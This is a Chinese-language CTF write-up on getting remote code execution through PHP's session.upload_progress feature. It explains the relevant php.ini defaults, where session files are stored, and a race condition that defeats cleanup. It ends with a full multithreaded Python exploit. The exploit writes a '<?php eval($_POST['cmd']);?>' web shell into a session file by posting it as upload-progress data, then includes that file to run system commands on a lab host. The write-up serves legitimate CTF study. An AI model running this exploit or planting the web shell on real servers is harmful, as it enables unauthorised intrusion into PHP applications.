刷题时遇到的一道题目,一直没有思路,看完 wp 之后学会的新姿势。

知识铺垫

php 5.4 之后新增了一个功能:session.upload_progress

php.ini 有以下几个默认选项

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

其中:

  • enabled=on 表示 upload_progress 功能启用,当上传文件时,php 将会把此次文件上传的详细信息 (如上传时间、上传进度等) 存储在 session 当中;
  • cleanup=on 表示当文件上传结束后,php 将会立即清空对应 session 文件中的内容;
  • name 出现在表单中时,php 会报告上传进度,最重要的是:name 的值可控
  • prefix 为 key 前缀,它和 name 拼接后作为 session 中的键名。

存储机制

当开启 session 时,服务器都会在一个临时目录下创建一个 session 文件来保存会话信息,文件名格式为 sess_PHPSESSID 。

Linux 中,session 文件一般保存在以下目录:

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

利用方式

根据上述 session 的配置和机制,可以想到:通过 session. Upload_progress 将恶意代码写入 session 文件,再通过 inclue 实现 rce。

难点一

在 php 中,只有调用了 session_start () 才能开启 session,那么在没有使用 session_start () 时,如何开启 session?

默认情况下,php 配置中的 session. Use_strict_mode 是未启用的,也就意味着 cookie 中的 PHPSESSID 是可以自定义的。例如:

当设置 PHPSESSID=yvling 时,服务器会生成一个 sess_yvling 的 session 文件并保存在临时目录下,此时 php 自动初始化 session,产生一个键值对,键名为配置文件中设置的 prefix + name

难点二

默认情况下,session. Upload_progress. Cleanup 是启用的,也就意味着在上传结束后,session 文件中有关文件上传的信息会被马上删除,那么怎么才能将恶意代码包含至文件中呢?

这里使用条件竞争的方式,使用脚本不断发送上传数据包,再用相同方式发送文件包含的数据包,就能包含到了。

Exp

import io
import sys
import requests
import threading


sessid = "yvling"
data = { "cmd":"system('ls /');" }
url = "http://node5.anna.nssctf.cn:28960/index.php"
params = "QAQ"
cahce = "/tmp"
filename = "yvling.txt"

def write(session):
    while True:
        f = io.BytesIO(b"a" * 1024 * 50)
        resp = session.post(
            url=url, 
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST['cmd']);?>"
            }, 
            files={
                "file": (filename, f)
            }, 
            cookies={
                "PHPSESSID": sessid
            } 
        )


def read(session):
    while True:
        resp = session.post(url=f"{url}?{params}={cahce}/sess_{sessid}", data=data)
        if filename in resp.text:
            print(resp.text)
            event.clear()
            sys.exit(0)
        else:
            # print("retry...")
            pass


if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()